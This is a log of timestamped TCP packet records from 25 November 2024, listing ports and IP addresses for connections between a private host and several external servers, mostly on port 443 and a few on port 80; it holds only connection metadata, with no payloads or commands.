Nov 25, 2024 07:53:29.551574945 CET	49775	443	192.168.2.6	172.202.163.200
Nov 25, 2024 07:53:29.553065062 CET	49775	443	192.168.2.6	172.202.163.200
Nov 25, 2024 07:53:29.553076982 CET	443	49775	172.202.163.200	192.168.2.6
Nov 25, 2024 07:53:29.574867964 CET	443	49764	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:29.575417995 CET	49764	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:29.575433969 CET	443	49764	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:29.576162100 CET	49764	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:29.576169014 CET	443	49764	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:29.704022884 CET	443	49766	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:29.704602003 CET	49766	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:29.704613924 CET	443	49766	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:29.705151081 CET	49766	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:29.705156088 CET	443	49766	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:29.784759045 CET	443	49767	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:29.784821033 CET	443	49767	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:29.784902096 CET	49767	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:29.785202980 CET	49767	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:29.785202980 CET	49767	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:29.785213947 CET	443	49767	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:29.785218954 CET	443	49767	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:29.788640022 CET	49776	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:29.788666964 CET	443	49776	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:29.788816929 CET	49776	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:29.789818048 CET	49776	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:29.789835930 CET	443	49776	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:29.941390991 CET	443	49763	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:29.941461086 CET	443	49763	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:29.941615105 CET	49763	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:29.941865921 CET	49763	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:29.941867113 CET	49763	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:29.941879034 CET	443	49763	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:29.941889048 CET	443	49763	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:29.944941998 CET	49778	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:29.944952965 CET	443	49778	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:29.945029020 CET	49778	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:29.946034908 CET	49778	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:29.946044922 CET	443	49778	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:29.961338043 CET	443	49765	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:29.961493015 CET	443	49765	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:29.961560011 CET	49765	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:29.961602926 CET	49765	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:29.961602926 CET	49765	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:29.961610079 CET	443	49765	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:29.961617947 CET	443	49765	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:29.964051008 CET	49779	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:29.964092970 CET	443	49779	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:29.964175940 CET	49779	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:29.964334011 CET	49779	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:29.964365959 CET	443	49779	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:30.026761055 CET	443	49764	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:30.026837111 CET	443	49764	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:30.027040005 CET	49764	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:30.027231932 CET	49764	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:30.027231932 CET	49764	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:30.027249098 CET	443	49764	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:30.027254105 CET	443	49764	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:30.029151917 CET	443	49769	2.16.158.75	192.168.2.6
Nov 25, 2024 07:53:30.029228926 CET	49769	443	192.168.2.6	2.16.158.75
Nov 25, 2024 07:53:30.031512022 CET	49781	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:30.031565905 CET	443	49781	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:30.031677961 CET	49781	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:30.032044888 CET	49781	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:30.032059908 CET	443	49781	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:30.157489061 CET	443	49766	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:30.157563925 CET	443	49766	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:30.157687902 CET	49766	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:30.157860994 CET	49766	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:30.157860994 CET	49766	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:30.157888889 CET	443	49766	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:30.157901049 CET	443	49766	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:30.160828114 CET	49782	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:30.160865068 CET	443	49782	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:30.161027908 CET	49782	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:30.161228895 CET	49782	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:30.161243916 CET	443	49782	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:30.170984030 CET	49769	443	192.168.2.6	2.16.158.75
Nov 25, 2024 07:53:30.171014071 CET	443	49769	2.16.158.75	192.168.2.6
Nov 25, 2024 07:53:30.171317101 CET	49769	443	192.168.2.6	2.16.158.75
Nov 25, 2024 07:53:30.171322107 CET	443	49769	2.16.158.75	192.168.2.6
Nov 25, 2024 07:53:30.171989918 CET	443	49769	2.16.158.75	192.168.2.6
Nov 25, 2024 07:53:30.172123909 CET	49769	443	192.168.2.6	2.16.158.75
Nov 25, 2024 07:53:30.575526953 CET	49783	443	192.168.2.6	23.218.208.109
Nov 25, 2024 07:53:30.575560093 CET	443	49783	23.218.208.109	192.168.2.6
Nov 25, 2024 07:53:30.575653076 CET	49783	443	192.168.2.6	23.218.208.109
Nov 25, 2024 07:53:30.576972008 CET	49783	443	192.168.2.6	23.218.208.109
Nov 25, 2024 07:53:30.576987982 CET	443	49783	23.218.208.109	192.168.2.6
Nov 25, 2024 07:53:30.731719017 CET	443	49769	2.16.158.75	192.168.2.6
Nov 25, 2024 07:53:30.731762886 CET	443	49769	2.16.158.75	192.168.2.6
Nov 25, 2024 07:53:30.731795073 CET	49769	443	192.168.2.6	2.16.158.75
Nov 25, 2024 07:53:30.731811047 CET	443	49769	2.16.158.75	192.168.2.6
Nov 25, 2024 07:53:30.731822014 CET	49769	443	192.168.2.6	2.16.158.75
Nov 25, 2024 07:53:30.731853962 CET	49769	443	192.168.2.6	2.16.158.75
Nov 25, 2024 07:53:30.731933117 CET	443	49769	2.16.158.75	192.168.2.6
Nov 25, 2024 07:53:30.731990099 CET	49769	443	192.168.2.6	2.16.158.75
Nov 25, 2024 07:53:30.732054949 CET	443	49769	2.16.158.75	192.168.2.6
Nov 25, 2024 07:53:30.732109070 CET	49769	443	192.168.2.6	2.16.158.75
Nov 25, 2024 07:53:30.737478971 CET	49769	443	192.168.2.6	2.16.158.75
Nov 25, 2024 07:53:30.737492085 CET	443	49769	2.16.158.75	192.168.2.6
Nov 25, 2024 07:53:31.038863897 CET	443	49774	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:31.039346933 CET	49774	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:31.039360046 CET	443	49774	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:31.039752960 CET	443	49774	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:31.040060043 CET	49774	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:31.040134907 CET	443	49774	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:31.041091919 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:31.041506052 CET	49786	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:31.087141991 CET	49774	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:31.160609961 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:31.160952091 CET	80	49786	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:31.161039114 CET	49786	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:31.164010048 CET	49786	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:31.283525944 CET	80	49786	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:31.330303907 CET	443	49775	172.202.163.200	192.168.2.6
Nov 25, 2024 07:53:31.330419064 CET	49775	443	192.168.2.6	172.202.163.200
Nov 25, 2024 07:53:31.358855963 CET	49775	443	192.168.2.6	172.202.163.200
Nov 25, 2024 07:53:31.358892918 CET	443	49775	172.202.163.200	192.168.2.6
Nov 25, 2024 07:53:31.359185934 CET	443	49775	172.202.163.200	192.168.2.6
Nov 25, 2024 07:53:31.413803101 CET	49775	443	192.168.2.6	172.202.163.200
Nov 25, 2024 07:53:31.634902954 CET	443	49776	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:31.663813114 CET	443	49778	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:31.679797888 CET	49776	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:31.711047888 CET	49778	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:31.749032021 CET	443	49779	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:31.804805994 CET	49779	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:31.847377062 CET	49776	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:31.847399950 CET	443	49776	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:31.853111982 CET	49776	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:31.853121042 CET	443	49776	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:31.876451969 CET	443	49782	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:31.879523993 CET	443	49781	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:31.929790974 CET	49781	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:31.929802895 CET	49782	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:32.020817041 CET	49781	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:32.020848036 CET	443	49781	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:32.030507088 CET	49781	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:32.030514956 CET	443	49781	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:32.038440943 CET	49782	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:32.038461924 CET	443	49782	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:32.038857937 CET	49782	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:32.038862944 CET	443	49782	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:32.051038027 CET	443	49783	23.218.208.109	192.168.2.6
Nov 25, 2024 07:53:32.051126957 CET	49783	443	192.168.2.6	23.218.208.109
Nov 25, 2024 07:53:32.137399912 CET	49778	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:32.137415886 CET	443	49778	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:32.137943029 CET	49778	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:32.137947083 CET	443	49778	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:32.139622927 CET	49779	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:32.139662981 CET	443	49779	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:32.140932083 CET	49779	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:32.140950918 CET	443	49779	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:32.143459082 CET	49783	443	192.168.2.6	23.218.208.109
Nov 25, 2024 07:53:32.143479109 CET	443	49783	23.218.208.109	192.168.2.6
Nov 25, 2024 07:53:32.143769026 CET	443	49783	23.218.208.109	192.168.2.6
Nov 25, 2024 07:53:32.196301937 CET	49783	443	192.168.2.6	23.218.208.109
Nov 25, 2024 07:53:32.225162029 CET	443	49776	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:32.225223064 CET	443	49776	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:32.225298882 CET	49776	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:32.229413986 CET	49776	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:32.229429007 CET	443	49776	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:32.229441881 CET	49776	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:32.229446888 CET	443	49776	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:32.234601974 CET	49787	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:32.234647036 CET	443	49787	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:32.234873056 CET	49787	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:32.239747047 CET	49775	443	192.168.2.6	172.202.163.200
Nov 25, 2024 07:53:32.240175962 CET	49787	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:32.240207911 CET	443	49787	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:32.270220041 CET	49783	443	192.168.2.6	23.218.208.109
Nov 25, 2024 07:53:32.287329912 CET	443	49775	172.202.163.200	192.168.2.6
Nov 25, 2024 07:53:32.311338902 CET	443	49783	23.218.208.109	192.168.2.6
Nov 25, 2024 07:53:32.355475903 CET	443	49782	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:32.355532885 CET	443	49782	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:32.355818987 CET	49782	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:32.356056929 CET	49782	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:32.356072903 CET	443	49782	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:32.356086969 CET	49782	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:32.356091976 CET	443	49782	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:32.359757900 CET	49788	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:32.359786987 CET	443	49788	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:32.360086918 CET	49788	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:32.360363960 CET	49788	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:32.360377073 CET	443	49788	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:32.365046024 CET	443	49781	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:32.365122080 CET	443	49781	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:32.365266085 CET	49781	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:32.365266085 CET	49781	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:32.365305901 CET	49781	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:32.365325928 CET	443	49781	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:32.369343042 CET	49789	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:32.369384050 CET	443	49789	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:32.369452953 CET	49789	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:32.370584011 CET	49789	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:32.370598078 CET	443	49789	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:32.452533960 CET	443	49778	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:32.452805996 CET	443	49778	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:32.452862024 CET	49778	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:32.453234911 CET	49778	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:32.453248024 CET	443	49778	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:32.453257084 CET	49778	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:32.453262091 CET	443	49778	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:32.457501888 CET	49792	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:32.457549095 CET	443	49792	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:32.457623005 CET	49792	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:32.457751989 CET	49792	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:32.457767963 CET	443	49792	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:32.466079950 CET	443	49779	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:32.466166973 CET	443	49779	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:32.466217041 CET	49779	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:32.466387987 CET	49779	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:32.466428041 CET	443	49779	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:32.466453075 CET	49779	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:32.466465950 CET	443	49779	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:32.469561100 CET	49793	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:32.469615936 CET	443	49793	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:32.469712973 CET	49793	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:32.469860077 CET	49793	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:32.469876051 CET	443	49793	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:32.904400110 CET	443	49783	23.218.208.109	192.168.2.6
Nov 25, 2024 07:53:32.904480934 CET	443	49783	23.218.208.109	192.168.2.6
Nov 25, 2024 07:53:32.904551029 CET	49783	443	192.168.2.6	23.218.208.109
Nov 25, 2024 07:53:32.904706955 CET	49783	443	192.168.2.6	23.218.208.109
Nov 25, 2024 07:53:32.904721975 CET	443	49775	172.202.163.200	192.168.2.6
Nov 25, 2024 07:53:32.904731035 CET	49783	443	192.168.2.6	23.218.208.109
Nov 25, 2024 07:53:32.904732943 CET	443	49783	23.218.208.109	192.168.2.6
Nov 25, 2024 07:53:32.904740095 CET	443	49783	23.218.208.109	192.168.2.6
Nov 25, 2024 07:53:32.904763937 CET	443	49775	172.202.163.200	192.168.2.6
Nov 25, 2024 07:53:32.904772043 CET	443	49775	172.202.163.200	192.168.2.6
Nov 25, 2024 07:53:32.904792070 CET	443	49775	172.202.163.200	192.168.2.6
Nov 25, 2024 07:53:32.904800892 CET	443	49775	172.202.163.200	192.168.2.6
Nov 25, 2024 07:53:32.904808044 CET	443	49775	172.202.163.200	192.168.2.6
Nov 25, 2024 07:53:32.904819012 CET	49775	443	192.168.2.6	172.202.163.200
Nov 25, 2024 07:53:32.904834032 CET	443	49775	172.202.163.200	192.168.2.6
Nov 25, 2024 07:53:32.904863119 CET	49775	443	192.168.2.6	172.202.163.200
Nov 25, 2024 07:53:32.904911041 CET	49775	443	192.168.2.6	172.202.163.200
Nov 25, 2024 07:53:32.925825119 CET	443	49775	172.202.163.200	192.168.2.6
Nov 25, 2024 07:53:32.925905943 CET	49775	443	192.168.2.6	172.202.163.200
Nov 25, 2024 07:53:32.925915956 CET	443	49775	172.202.163.200	192.168.2.6
Nov 25, 2024 07:53:32.925940037 CET	443	49775	172.202.163.200	192.168.2.6
Nov 25, 2024 07:53:32.925997972 CET	49775	443	192.168.2.6	172.202.163.200
Nov 25, 2024 07:53:32.927967072 CET	49775	443	192.168.2.6	172.202.163.200
Nov 25, 2024 07:53:32.927978992 CET	443	49775	172.202.163.200	192.168.2.6
Nov 25, 2024 07:53:32.928014994 CET	49775	443	192.168.2.6	172.202.163.200
Nov 25, 2024 07:53:32.928020000 CET	443	49775	172.202.163.200	192.168.2.6
Nov 25, 2024 07:53:32.959616899 CET	49794	443	192.168.2.6	23.218.208.109
Nov 25, 2024 07:53:32.959656954 CET	443	49794	23.218.208.109	192.168.2.6
Nov 25, 2024 07:53:32.959743977 CET	49794	443	192.168.2.6	23.218.208.109
Nov 25, 2024 07:53:32.960216999 CET	49794	443	192.168.2.6	23.218.208.109
Nov 25, 2024 07:53:32.960235119 CET	443	49794	23.218.208.109	192.168.2.6
Nov 25, 2024 07:53:33.041393995 CET	80	49786	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:33.041459084 CET	49786	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:33.230233908 CET	49786	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:33.292704105 CET	49774	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:33.349632025 CET	80	49786	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:34.024997950 CET	443	49787	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:34.026321888 CET	49787	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:34.026321888 CET	49787	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:34.026345968 CET	443	49787	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:34.026370049 CET	443	49787	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:34.179811954 CET	80	49786	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:34.180433035 CET	49786	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:34.210702896 CET	443	49789	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:34.212915897 CET	49789	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:34.212933064 CET	443	49789	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:34.213485956 CET	49789	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:34.213493109 CET	443	49789	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:34.244633913 CET	443	49788	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:34.248024940 CET	49788	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:34.248063087 CET	443	49788	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:34.248714924 CET	49788	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:34.248728037 CET	443	49788	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:34.345312119 CET	443	49794	23.218.208.109	192.168.2.6
Nov 25, 2024 07:53:34.345391989 CET	49794	443	192.168.2.6	23.218.208.109
Nov 25, 2024 07:53:34.349874020 CET	49794	443	192.168.2.6	23.218.208.109
Nov 25, 2024 07:53:34.349884987 CET	443	49794	23.218.208.109	192.168.2.6
Nov 25, 2024 07:53:34.350228071 CET	443	49794	23.218.208.109	192.168.2.6
Nov 25, 2024 07:53:34.359363079 CET	49794	443	192.168.2.6	23.218.208.109
Nov 25, 2024 07:53:34.407335997 CET	443	49794	23.218.208.109	192.168.2.6
Nov 25, 2024 07:53:34.448312044 CET	443	49793	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:34.454415083 CET	49793	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:34.454430103 CET	443	49793	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:34.455039978 CET	49793	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:34.455045938 CET	443	49793	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:34.468040943 CET	443	49787	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:34.468118906 CET	443	49787	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:34.468189001 CET	49787	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:34.468477011 CET	49787	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:34.468509912 CET	443	49787	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:34.486411095 CET	49795	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:34.486469984 CET	443	49795	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:34.486541033 CET	49795	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:34.487446070 CET	49795	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:34.487473965 CET	443	49795	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:34.509699106 CET	443	49792	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:34.554455996 CET	49792	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:34.656177044 CET	443	49789	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:34.656234980 CET	443	49789	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:34.656450987 CET	49789	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:34.700247049 CET	443	49788	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:34.700316906 CET	443	49788	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:34.700579882 CET	49788	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:34.861591101 CET	443	49794	23.218.208.109	192.168.2.6
Nov 25, 2024 07:53:34.861691952 CET	443	49794	23.218.208.109	192.168.2.6
Nov 25, 2024 07:53:34.861747026 CET	49794	443	192.168.2.6	23.218.208.109
Nov 25, 2024 07:53:34.868602037 CET	49792	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:34.868624926 CET	443	49792	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:34.869167089 CET	49792	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:34.869174004 CET	443	49792	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:34.898705006 CET	443	49793	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:34.898772001 CET	443	49793	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:34.898927927 CET	49793	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:34.939202070 CET	49789	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:34.939223051 CET	443	49789	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:34.939290047 CET	49789	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:34.939296007 CET	443	49789	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:34.939686060 CET	49788	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:34.939711094 CET	443	49788	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:34.942804098 CET	49793	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:34.942804098 CET	49793	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:34.942820072 CET	443	49793	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:34.942831993 CET	443	49793	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:34.953711987 CET	49794	443	192.168.2.6	23.218.208.109
Nov 25, 2024 07:53:34.953742027 CET	443	49794	23.218.208.109	192.168.2.6
Nov 25, 2024 07:53:34.953757048 CET	49794	443	192.168.2.6	23.218.208.109
Nov 25, 2024 07:53:34.953763962 CET	443	49794	23.218.208.109	192.168.2.6
Nov 25, 2024 07:53:34.966248035 CET	49796	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:34.966284990 CET	443	49796	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:34.966475964 CET	49796	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:34.967039108 CET	49797	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:34.967072964 CET	443	49797	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:34.967133999 CET	49797	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:34.969856024 CET	49798	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:34.969867945 CET	443	49798	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:34.969930887 CET	49796	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:34.969945908 CET	443	49796	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:34.969963074 CET	49798	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:34.970155001 CET	49798	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:34.970166922 CET	443	49798	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:34.970206022 CET	49797	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:34.970218897 CET	443	49797	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:35.070780993 CET	49799	443	192.168.2.6	20.198.119.143
